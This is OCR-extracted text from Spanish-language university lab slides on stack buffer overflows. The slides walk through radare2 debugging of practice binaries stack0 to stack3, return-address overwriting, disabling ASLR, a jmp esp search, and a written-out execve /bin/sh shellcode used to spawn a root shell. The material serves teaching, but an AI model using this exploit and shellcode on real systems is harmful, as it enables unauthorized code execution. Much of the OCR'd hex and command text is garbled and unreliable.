(VIF), Virtual Interrupt Pending (VIP), Identification (ID)

31 23 16

15 7 0
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Organizacion y ejecucion de un proceso

* En estas practicas trabajaremos con registros de 32 bits
 Los registros mas interesantes son EBP, ESP, EIP
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Caso practico: stackO

 Para llevar a cabo las practicas se facilita a los alumnos
una imagen docker donde se encuentra todo lo necesario

* gcc, gdb, radare2, ropper, pwntools, ROPgardget, etc..

* Esto se hace para que las librerias con las que se compile
cada programa sean las mismas para todos los alumnos

* Resultados reproducibles
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Caso practico: stackO

« Vamos a empezar trabajando con el programa stackO. Si no
se encuentra compilado se puede compilar de la siguiente
forma:

e gcc -m32 -fno-pie -no-pie -fno-stack-protector -z execstack
stackO.c -o stackO

* Programa simple que realiza la operacion de suma con los
operandos 1,2y 3

root@a240beed®90c3: /data# ./stacke

1+2+3=6
root@a240bee®90c3: /data# | |
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Caso practico: stackO

* Ejecutamos el comando r2 -d stackO y ejecutamos el
comando aaa para que haga un analisis del programa

root@a240bee@90c3: /data# r2 -d ./stacke
Relocs has not been applied. Please use "-e bin.relocs.apply=true’
glibc.fc offset = Gx00148

- There is no F5 key in radare2 yet
aaa

Analyze all flags starting with sym. and entry@ (aa)
Analyze imports (af@@ai)
Analyze entrypoint (af@ entrye)
Analyze symbols (af@@@s)
Recovering variables
Analyze all functions arguments/locals (afva@@@F)
Analyze function calls (aac)
Analyze len bytes of instructions for references (aar)
Finding and parsing C++ vtables (avrr)
Analyzing methods
Recovering local variables (afwva)
Skipping type matching analysis in debugger mode (aaft)
Propagate noreturn information (aanr)
Use -AA or aaaa to perform additional experimental analysis
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Caso practico: stackO

 Bajo el comando d se encuentran una amplia gama de comandos

de depuracion B T —

MISum

db address|symbol
db- address|symbol
dc
ds

dso

dsu address
dr
dr registro

dr registro=valor

Listar los breakpoints

Establece un breakpoint

Eliminaun breakpoint

Continua con la ejecucion

Ejecuta la siguiente instruccion ensamblador

Ejecuta la siguiente instruccion ensambladorsin
entrar en funciones

Continuala ejecucidon hasta una direccion dada
Muestra los registros de propdsito general
Muestra el valor del registro dado

Cambia el valor del registro registro a valor
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Caso practico: stackO

* Existen muchos otros comandos utiles

MISum

Comando Descripcion

px [@ address]
pxw [@ address]

pxq [@ address]

Muestra un dump en hexadecimal

Muestra un dump en hexadecimal agrupadoen 4
bytes

Muestra un dump en hexadecimal agrupadoen 8
bytes

Muestra las strings del mapa actual
Muestra las strings de todo el binario
Muestra las funciones importadas

Muestra informacion del binario

19



Caso practico: stackO

* Existen muchos otros comandos utiles

MISum

Comando Descripcion

pXx/Xxb [@ address]
px/Xi [@ address]

/ string
/R rop
dm
dmm

dmi [library] [function]

Formato GDB. Imprime X bytes hexadecimales

Formato GDB. Imprime X instrucciones
ensamblador

Buscar la cadena string en el binario
Buscar un gadget ROP

Muestra el mapa de memoria
Muestra las libreriasimportadas

Muestra informacion sobre una funcion concreta
en una libreria especificada
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Caso Practico: stackO

« Podemos desensamblar la funcion main con pdf @ main

MISum
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Caso Practico: stackO

 Ponemos un breakpoint en la direccion 0x08048437 con
db 0x08048437

MISum
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Caso Practico: stackO

* Ejecutamos el comando dc (continue) para llegar al
breakpoint

MISum
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Caso Practico: stackO

* Imprimimos el contenido de la pila antes de hacer los push

con pxw @ esp

MISum

dc

Ox00000001
Axf7fc63dc

OxT7Tc6000
0x00000001
0xX00000000
oxf7ffdooo
0xX00000000

hit breakpoint at: 0x8048437
pxw @ esp

Oxffffds44
Oxffffd7bo
axT7fco6000
axffffdg44
000000000
000000000
Oxadbbbilze

Oxffffds4c
000000000
000000000
xffffd8dc
Oxf7fc6000
Oxf7fc6000
Ox97d3df3e

Ox08048491
Oxf7e2e647
Oxf7e2e647
Ox00000000
OxT7ffdco4d
Oxf7fc6000
Ox00000000

24



Caso Practico: stackO

* Ejecutamos los 3 push con ds (step) y mostramos su

contenido

MISum

ds

pXw @ esp

0x00000001
Oxffffde44
Oxffffd7be
Oxf7fc6000

axffffda44
OxX00000000
0x00000000
Oxadbbbl2e
Ox000000008

Ox00000002
xffffds4c
Ax00000000
Ox00000000
exffffdsdc
Oxf7fceon0
Oxf7fce000
Bx97d3df3e
Ox00000001

OxX000000603
Ox08048491
Oxf7e2ecd?
Oxf7e2e647
OxX00000000
Oxf7ffdcod
Oxf7fco000
OxX00000000
Ox08048310

OxX00000001
Oxf7fcb3dc
xf7fco000
Ox00000001
OxX00000000
oxf7ffdeeo
Ox00000000
Ox00000000
Ox00000000
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Caso Practico: stackO

* Ejecutamos de nuevo el comando ds para entrar dentro de
la funcion sym.sum y vemos de nuevo la pila con pxw @
esp

ds

pxw @ esp
0x08048442 O0x00000001 O0x00000002 Ox00000003
Ox00000001 oxffffa844 oxffffd84c Ox08048491

OxFf7fc63dc OxTTTTd7bd Ox00000000 OxT7e2ed47
Oxf7fc6000 OxTF7fc6000 Ox00000000 Oxf7e2e647
Ox00000001 Oxffffd844 Oxffffd84c Ox00000000
Ox00000000 OxO0000000 OxXT7Tc6000 OxT7fTdco4d
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Caso Practico: stackO

* Desensamblamos la funcion sum con pdf @ sym.sum o
pdf directamente si estamos ya en ella

pdf @ sym.sum

(int32 t arg 8h, int32 t arg ch, int32 t arg 16h);
; arg

; arg
; arg

s vVar

MISum
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Caso Practico: stackO

« Cuando se llama a una funcion o método:

1. Se introducen los parametros en la pila (en x86) o
se almacenan los parametros en los registros (x64)

Se ejecuta la instruccion de ensamblado call. Salta a la direccion
de memoria de la funcion e introduce EIP en la pila

2
3. Se introduce en el stack el registro base del stack (EBP)
4

Se reserva espacio en el stack para las variables locales que
se hayan definido en la funcion

« El stack quedaria de la siguiente
de la siguiente forma al entrar a una
funcion
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Caso Practico: stackO

 Ponemos ahora un breakpoint en la instruccion ret con db
0x08048425 y continuamos la ejecucion hasta llegar alli
(dc)

« Examinamos la pila

ds

pxw @ esp
Ox080484472 0xX00000001 Ox00000002 OxO0000003
Ox00000001 oxffffd8d44 exffffd84c Ox08048491

Oxf7fc63dc OxFfffd7b0 Ox00000000 Oxf7e2e647
Oxf7fc6000 OxXF7fc6000 Ox00000000 Oxf7e2e647
Ox00000001 Oxffffd844 Oxffffd84c Ox00000000
Ox00000000 O0x00000000 Oxf7fc6000 Oxf7ffdco4

MISum
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Caso Practico: stackO

* Ejecutamos el ret con dc y mostramos de nuevo la pila con
PXW @ esp

ds

pxw @ esp
0x00000001 Ox00000002 O0X00000003 Ox00000001
Oxffffded44 exffffdBd4c Ox08048491 Oxf7fc63dc

Oxffffd7b0 Ox00000000 Oxf7eleb647 OxF7fc6000
Oxf7fc6000 Ox00000000 Oxf7ele647 Ox00000001
Oxffffd844 Oxffffd84c Ox00000000 Ox00000000
Ox00000000 OxT7fc6000 OxF7ffdcOd4 Oxf7ffdooo
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Caso Practico: stackl

« Vamos a estudiar ahora el programa stackl

 Si no esta compilado, hay que compilarlo con:

« gcc -m32 -fno-pie -no-pie -fno-stack-protector -z execstack
stackl.c -o stackl

* El objetivo de este ejercicio es modificar la variable value

root@az40beed90c3: /data# . /stackl
Debes pasar al menos un argumento

root@az40beed90c3: /data# ./stackl hola
Intentalo de nuevo
root@a240beed90c3: /data# | |

MISum

31



Caso Practico: stackl

* Repetimos el mismo proceso que hemos llevado a cabo
en el ejemplo anterior

« Estudiamos que pasa cuando le pasamos un argumento
con una longitud considerable

root@az240beed90c3: /data# ./stackl holaholaholaholaholaholaholaholaholaholahola

iFlujo de ejecicion modificado!
Segmentation fault
root@a240beed9nc3: /data# | |

MISum
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Ejercicio: stack?

« Estudiar el binario stack2 y conseguir redirigir el flujo de
ejecucion
* El procedimiento es similar a lo visto en clase de practicas

* Depurar y ver como se va modificando la pila y como se
chequea la variable value

* Pista: se pueden introducir valores hexadecimales como
argumentos usando python

« ./stack2 python3 -c "import sys;
sys.stdout.buffer.write(str.encode('A*10)+b"\xf7")"

MISum



Master en Ingenieria del Software

Disefio y Desarrollo de Software Seguro

Practica 1.2. Introduccion practica
a vulnerabilidades buffer overflow

Redireccion del flujo de ejecucion, shellcodes y exploits
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Redirigiendo el flujo de ejecucion

« Esta vez vamos a trabajar con el programa stack3.c

* Primero vamos a estudiar como redigir el flujo de ejecucion
« stack3.c pide que se le pase tu nombre por argumentos
« Te da la bienvenida llamando a la funcion func
 Objetivo: Volver a llamar a func por segunda vez

* Si no tenemos el programa compilado lo compilaremos con:

e gcc -m32 -fno-pie -no-pie -fno-stack-protector -z execstack
ejemplo.c -0 stack3

« Antes de empezar a trabajar, desactivaremos ASLR:
« echo 0 > /proc/sys/kernel/randomize va space
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Redirigiendo el flujo de ejecucion

« Empezaremos ejecutando el programa con radare2 vy
pasandole como argumento una  cadena lo
suficientemente larga

:root@890889b05960:fdata# r2 -d stack3 ‘python3 -c "import sys; sys.stdout.buffer.write(str.encode('A'*108))""
Relocs has not been applied. Please use "-e bin.relocs.apply=true’ or "-e bin.cache=true’ next time

glibc.fc offset = Bx00148
- Move around the bytes with h,j,k,1! Arrow keys are neither portable nor efficient
dc

Bienvenido AAAAAAAAAAAAAAAAAAAAAAAAAAAAARAAAARAAAAAALAALAAALAAAAALALAAAAALAARAAALAALAAAALLAAAAAAAAAAAALAAAAALARAAAAAL
[+] SIGNAL 11 errno=0 addr=0x41414141 code=1 si_pid=1094795585 ret=0
dr

ebx = Ox00000000




Redirigiendo el flujo de ejecucion

« Cuando se llama a una funciéon o método:

1. Se introducen los parametros en la pila (en x86) o
se almacenan los parametros en los registros (x64)

Se ejecuta la instruccion de_ensamblado call. Salta a la direccion
de memoria de la funcion e introduce EIP en la pila

2
3. Se introduce en el stack el registro base del stack (EBP)
4

Se reserva espacio en el stack para las variables locales que
se hayan definido en la funcion

« El stack quedaria de la siguiente
de la siguiente forma al entrar a una
funcion
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Redirigiendo el flujo de ejecucion

* Desensamblemos la funcion func para verlo

pdf @ sym.func

(int32_t arg_8h);

Las 2 primeras instrucciones [[.-E
forman el prologo
 Reserva 50 bytes (0x28)
 Las 2 ultimas instrucciones
~orman el epilogo
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Redirigiendo el flujo de ejecucion

 Ponemos un breakpoint en 0x8048450
* Ejecutamos hasta ahi y mostramos la pila

db Ox0804
dc

pxw @ esp
exffffd71e
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
0x41414141
9141414141

8450

hit breakpoint at: ©x8048450

Oxffffdolf
0x41414141
0x41414141
9x41414141
0x41414141
9x41414141
0x41414141
ﬂiffffdﬂﬂﬂ

Oxf7fc7000
9x41414141
0x41414141
9x41414141
0x41414141
9x41414141
9x41414141
ﬂiffffdﬂlﬂ

Ox0000c397
0x41414141
0x41414141
9x41414141
0x41414141
9x41414141
0x41414141
ﬂiﬂﬂﬂﬂﬂﬂﬂﬂ




Redirigiendo el flujo de ejecucion

« Hemos conseguido desbordar el buffer almacenado en el
stack

* Al hacerlo, hemos sobrescrito la direccidn de retorno EIP

* ¢ Pero como sabemos el tamafno exacto para desbordarlo?
r2 -d stack3 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHITNIIJIJIKKKKLLLLMMMMNNNN

root@so0889bes5960: /data# r2 -d stack3 AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIITIIJJIJIKKKKLLLLMMMMNNNN
Relocs has not been applied. Please use -e bin.relocs.apply=true’ or "-e bin.cache=true’
glibc.fc_offset = Ox00148

-- Too bad there is no gif support in r2. Yet. -- @r2gif

dc
Bienvenido AAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHIIIIJIIJIJIKKKKLLLLMMMMNNNN
[+] SIGNAL 11 errno=0 addr=0x4c4c4cd4c code=1 si_pid=1280068684 ret=0
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Redirigiendo el flujo de ejecucion

¢ EXxiste otra forma menos manual de hacerlo?
« Comando ragg2 + wopO

root@890889b05960: fdata# ragg2 -P 180 -r
AAABAACAADAAEAAFAAGAAHAATAAIAAKAALAAMAANAADAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAARAADAACAADAARAATAAQAARroOT@BOABBODA5SI6E
Jdata#
root@89e889b05960: /data# r2 -d stack3 ‘ragg2 -P 180 -r°

Relocs has not been applied. Please use "-e bin.relocs.apply=true’ or "-e bin.cache=true’ next time

glibc.fc _offset = Ox00148

-- Use /m to carve for known magic headers. speedup with search.
dc

Bienvenido AAABAACAADAAEAAFAAGAAHAATAAJAAKAALAAMAANAADAAPAAQAARAASAATAAUAAVAAWAAXAAYAAZAARAADAACAADAACAATAAGQAAR

[+] SIGNAL 11 errno=0 addr=0x41415041 code=1 si_pid=1094799425 ret=0
wopO 0x41415041

44




Redirigiendo el flujo de ejecucion

« Averiguamos la direccion donde se encuentra la funcion
func

e Con radare

is | grep func

60 Ox0000043b 0x0804843b GLOBAL FUNC 47

i

« Con objdump

root@71dc696e3f46: fdata# objdump -D ejemplo | grep func
0804843b < >

80484ab: e 8b ff ff ff call B04843b <
root@71dc696e3f46: /data# | |
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Introduccion

* Ya estamos listos para desbordar el buffer, sobrescribir la
direccion de retorno y que vuelva a ejecutarse la funcion

func

 Ejecutando el siguiente comando conseguiremos el objetivo
Istack3 "python3 -c "import sys; sys.stdout.buffer.write(str.encode('A*44)+b"\x3b\x84\x04\x08")"

root@s9e889b0s5960: fdata# ./stack3 “python3 -c "import sys; sys.stdout.buffer.write(str.encode('A'*44)+b"'\x3b\x84\x04\x08")

Bienvenido AAAAAAAAAAAAAAAAMBAMAAMAAMAAAAAAAAAAAAAAAAAAAAA®
Bienvenido Seee)\eee

Segmentation fault

root@890889b05960: /data# [
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Obteniendo una shell

« Seguimos trabajando con stack3.c

« Estudiaremos como explotar vulnerabilidades de buffer
overflow

« Estudiaremos 2 enfoques

1. Modificar la direccion de retorno para que apunte, de forma
manual, al shellcode

2. Madificar la direccion de retorno para que apunte a la direccion
del registro ESP

* Si no tenemos el programa compilado lo compilaremos con:

. gtcc i(rgBZ -fno-pie -no-pie -fno-stack-protector -z execstack ejemplo.c -0
stac

« Antes de empezar a trabajar, desactivaremos ASLR:
« echo 0 > /proc/sys/kernel/randomize_va_space
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Obteniendo una shell

« Anteriormente hemos conseguido redirigir el flujo de ejecucion
y llamar de nuevo a la funcion func

* El objetivo real sera redirigir el flujo hacia el inicio del buffer
situado en el stack y ejecutar codigo arbitrario

* Necesitamos introducir codigo ejecutable en el buffer
* Este codigo recibe el nombre de shellcode o payload

 En muchos casos el objetivo es obtener una shell y por tanto
este codigo deberia ir enfocado a ello.
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Obteniendo una shell

* Breve repaso a las llamadas al sistema

 Muchas operaciones basicas en sistemas Linux las realiza el
sistema operativo

 EI programa, en espacio de usuario, hace una Illamada al
sistema, esta se ejecuta en espacio kernel y devuelve el
resultado al usuario

« Ejemplo: cuando queremos abrir un fichero utilizamos la funcion
open. Una vez invocada, es el sistema operativo el que abre el
fichero por nosotros y nos devuelve el descriptor de fichero.

« Cada llamada al sistema tiene un numero asociado. La llamada
al sistema open es la numero 4
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Obteniendo una shell

* Breve repaso a las llamadas al sistema

« Hay una llamada (realmente una familia de llamadas) al sistema
gue nos permite ejecutar procesos

* En este caso usaremos execve. Si a esta funcion le pasamos el
parametro /bin/sh obtendremos una shell

* I[nvocar una llamada al sistema en C es relativamente facil
int execve(const char *filename, char *const argv(], char *const envpl]);
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Obteniendo una shell

 Este codigo debe ser escrito en ensamblador

 Podemos pensar en hacer un programa en C y obtener su
codigo ensamblador, pero esto es un error

« Este programa seria un programa estructurado y tendria su
seccion de datos, texto, pila, etc

» Es posible que el cdodigo generado ocupe bastante mas que el
tamano del buffer que tenemos disponible

* El objetivo es disenar un cddigo ensamblador que sea lo mas
pequeno posible y pueda ejecutarse sin necesidad de
secciones
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Obteniendo una shell

* Breve repaso a las llamadas al sistema

* Pero ¢,como se hace en ensamblador?
1. Almacenar en el registro eax el numero de la [lamada al sistema
2. Almacenar en ebx el primer parametro de la llamada al sistema
3. Almacenar en ecx el segundo parametro de la llamada al sistema
4. Llamar alainterrupcion 0x80

« Tenemos algunas restricciones adicionales:
 No puede contener bytes nulos (0x00)
 No es recomendable usar espacios (0x20)
« Tampoco se deben usar saltos de linea (Ox0A)
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Obteniendo una shell

« Ademas, no tenemos un programa estructurado con su seccion
de datos

 Tendremos que hacer uso de algunos mecanismos ingeniosos
gue nos permita recuperar datos

 Echar vistazo a shellcode.s

« Podemos probar el shellcode mediante el programa
test_shellcode.c otest _shellcodel.c

« Utilizar el mismo comando de compilacion que hemos utilizado
hasta ahora
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Obteniendo una shell

 El shellcode que hemos generado tiene apenas 34 bytes. Para
cubrir los 44 bytes de padding deberemos anadir 10 bytes NOP
(\x90)

 Para ejecutar una shellcode necesitaremos la direccion
donde esta se almacena

* Es decir, necesitamos la direccion de inicio de nuestro buffer.

En nuestro caso es Oxffffd740

pXxw @ esp
OxFTffd740 oxffffd952 Oxf7fc7000 Ox0000c397
0x41414141 0x41414141 0x41414141 0x41414141

0x41414141 0x41414141 0x41414141 0x41414141
0x41414141 0x41414141 0x41414141 0x0804843b
OxFfffdoeo oxffffds834 oxffffdB40 0x080484el

MISum
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Obteniendo una shell

* Ya tenemos todo lo necesario para aprovechar una vulnerabilidad de
stack overflow

1. Programa vulnerable (stack3)

2. Padding necesario para sobreescribir la direccion de retornos (44 bytes)
3. Shellcode que nos despliega una shell (shellcode.txt)

4. Direccion donde se encuentra nuestro shellcode en memoria (0xffffd720)
 La pila deberia quedar de la siguiente forma

|V||Sum Buffer EIP



Obteniendo una shell

« Vamos a probar a explotar la vulnerabilidad con el argumento
necesario para ello

root@890889b05960: /data# ./stack3 “python3 -c "import sys; sys.stdout.buffer.write(b'\xeb\x14\x5e\x31\xcO\x88\x46\x07\xbo\x0

bAXBI\ XT3\ x31\ X9\ x31\xd2\ xcd\ xBO\ xbO\ x01\ xcd\ XBO\ XeB \ Xe T\ X T T\ XTI\ X T\ X2\ X662\ K69\ x6e\ 2T\ XT3\ K68\ X920\ 90\ X920\ X920\ x90\ x90\ x9

O\ x90\x90\x90\ x40\ xd 7\ xFF\xff" )" "
Bienvenido +*leeFe

Segmentation fault

 No funciona...

 Pero si lo ejecutamos con strace

+ strace Jstack3 ‘python3 -C “import SYs;
sys.stdout.buffer.write (b"\xeb\x14\x5e\x31\xc0\x88\x4 6\x07\xb0\x0b\x89\xf3\x3 1\xc 9\x31\xd2\xcd\x80\xb 0\x0 1 \xcd\x80\xe8\

xe 7\xfAXFAxfAx2f\x62\x69\x6e\x2Ax7 3\x68\x9 0\x90\x90\x9 0\x9 0\x9 0\x9 0\x9 0\x90\x9 0\x4 O\xd 7\xFfAAxff')""
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Obteniendo una shell

setpgid(6, 124) ]

ioct1(10, TIOCSPGRP, [124]) 0

wait4(-1, ex7fffffffeatc, WNOHANG|WSTOPPED, NULL) = -1 ECHILD (Mo child processes)

write(2, "# ", 2# ) = 2

read(®, whoami

"whoami\n", 8192) =7

stat("/usr/local/sbin/whoami", @x7fffffffea3®) = -1 ENOENT (No such file or directory)

stat(" fusr/local/bin/whoami”, Ox7fffffffea3®) = -1 ENOENT (No such file or directory)

stat(" /usr/sbin/whoami", @x7fffffffea3®) = -1 ENOENT (No such file or directory)

stat(" fusr/bin/whoami", {st mode=S IFREG|®755, st size=27312, ...}) = 0

clone(child stack=0, flags=CLONE_CHILD CLEARTID|CLONE CHILD SETTID|SIGCHLD, child tidptr=ex7ffff7fedode) = 125
setpgid(125, 125) =0

wait4(-1, root

[{WIFEXITED(s) && WEXITSTATUS(s) == 8}], WSTOPPED, NULL) = 125

--- SIGCHLD {si signo=S5IGCHLD, si code=CLD EXITED, si pid=125, si uid=8, si status=0, si utime=0, si stime=0} ---
rt sigreturn({mask=[]}) = 125

ioct1(10, TIOCSPGRP, [124]) = 0

wait4(-1, ox7fffffffea6c, WNOHANG|WSTOPPED, NULL) = -1 ECHILD (No child processes)

write{2, "# ", 2# ) = 2

read(o,
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Saltando ala cima de la pila

* Exploit inestable
« Depende de la direccion exacta de inicio de la pila
* Direccion que debemos poner de forma manual
* Puede ser que haya pequenas discrepancias en las direcciones de la
pila
 Ejercicio: Vamos a saltar de forma automatica a la cima de la pila

« Para ello necesitamos buscar la instruccion de ensamblador jmp
esp
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Saltando ala cima de la pila

root@890889b0s5960: /data# r2 -d stack3 “raggz -P 100 -r°
Relocs has not been applied. Please use "-e bin.relocs.ap
ply=true” or "-e bin.cache=true’ next time
° Con radarez glibc.fc_offset = 9x00148
-- One does not simply write documentation.
Ja jmp esp
Searching 2 bytes in [0xf7fd2006-axf7Tfchon]
hits: 1
OxT7Fff7017 hito 0 ffed
dcu main
Continue until 6x0804846a using 1 bpsize
hit breakpoint at: 0x804846a
/a jmp esp
Searching 2 bytes in [0xB048000-0x8042000]
hits: ©
e search.in=dbg.maps
/a jmp esp
Searching bytes in [OxBB48000-0x80849600 ]
hits: ©
Searching bytes in [0xB8042000-0x804a000 ]
hits: ©
Searching bytes in [0xB8043000-0x804b000]
hits: @
Searching bytes in [0xf7el6000-0xf7el17000]
hits: ©
Searching bytes in [Oxf7el7000-0xT7Tc4000]
hits: 75
Searching bytes in [OxF7Tc4000-0xf7fc5000]

hits: @
M ISUI I l Searching 2 bytes in [0xf7fc5000-0xf7fc7000]

hits: 1
Searching bytes in [OxF7Tc7000-0xT7TcB8000]




Saltando ala cima de la pila

[x ffe4d
Searching bytes in [0x8048000-0x8049000]
o hits: ©
(::C)r] rza(jéireezz Searching bytes in [0xBH49000-0x804a000]
hits: @
Searching bytes in [0xB804a3000-0x804b000O]
hits: @
Searching bytes in [0xf7el6000-0xf7el17000]
hits: 0
Searching bytes in [@xf7el7000-0xf7fc4000]
hits: 75
Searching bytes in [0xT7fc4000-0xf7fc5000]
hits: @
Searching bytes in [0xf7fc5000-0xf7fc7000]
hits: 1
Searching bytes in [0xf7fc7000-0xf7fc8000]
hits: ©
Searching bytes in [@xf7fcBOA0-0xf7Tcbood]
hits: @
Searching bytes in [0xf77fd2000-0xf7fd3000]
hits: ©
Searching bytes in [0xf7fd3000-0xf7fd7000]
hits: ©
Searching bytes in [@xf7Tfd7000-0xf7Tdoo00]
hits: ©

Searching bytes in [@xf7Tfdoeae-oxf7ffcooe]
MI UIll hits: 1

Searching bytes in [Oxf7ffco00-oxf7ffdoee]




Saltando ala cima de la pila

. root@8o0889bas960: /data# objdump -D /lib32/libc.so.6 | grep jmp | grep

1544fb: ff 64 1c f2 jmp *-0xe( ,%ebx,1)

» Con objdump \sewer:  tr e AL
156487: ff ed jmp =
1660bc3: ff ed jmp %
160bd7: ff ed jmp 5
166e4db: ff 24 jmp *( )
160e4f: ff 64 jmp *-@x4( )
160e53: ff a4 jmp *Ox24ed4fffc(
1610b3: ff ed jmp %
161337: ff ed jmp
1614bf: ff ed jmp
161687: ff ed jmp
1617cb: ff ed jmp
1619bf: ff ed jmp
161a43: ff 24 jmp
161b87: ff ed jmp
161d2f: GE jmp
161e3b: ff 2c 1Lijmp
16219b: ff ed jmp
16220b: ff ed jmp
162aff: ff 64 jmp
162cof: GE jmp
162e8f: ff ed jmp
16309f: ff 6¢c 1imp
1632df: ff ed jmp

16349f: ff ed jmp
M IS u m 1634df: £F e4 jmp

~

,Hedx,4)

~

,¥%esi,4)

ax6( ,hecx,4)

axe( ,%esi,4)

* ¥ % ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥ ¥




Saltando ala cima de la pila

« Comprobar gue esa direccion dispone de permisos de ejecucion

dm
Ox08048000 - 0x08049000 - 4K s r-x fdata/stack3 /data/stack3 ; map. data stack3.r x
@x08049000 - 0x0804b0EO - 8K s rw- /data/stack3 /data/stack3 ; map. data stack3.rw_
OxT7fd3000 - OxT7Td7000 - 16K s r-- [vvar] [vvar] ; map. vvar_.r__
exf7fd7e00 - oxf7fdoeee - BK s r-x [vdso] [vdso] ; map. vdso .r_x
axf7fdoeee - exf7ffcoee * 140K s r-x flib32/1d-2.23.s0 flib32/1d-2.23.s0 ; map._lib32 1d 2.23.s0.r_x
Axf7ffcopd - axf7ffednn - BK s rw- flib32/1d-2.23.s0 /1ib32/1d-2.23.50 ; map._lib32_1d 2.23.so0.rw_

Oxfffddeee - oxffffe0eo - 132K s rwx [stack] [stack] ; map. stack .rwx

« Vamos a usar el mismo shellcode que en practicas anteriores
(shellcode.txt)

* Piensa sobre como debe configurarse la pila para que funcione el
exploit
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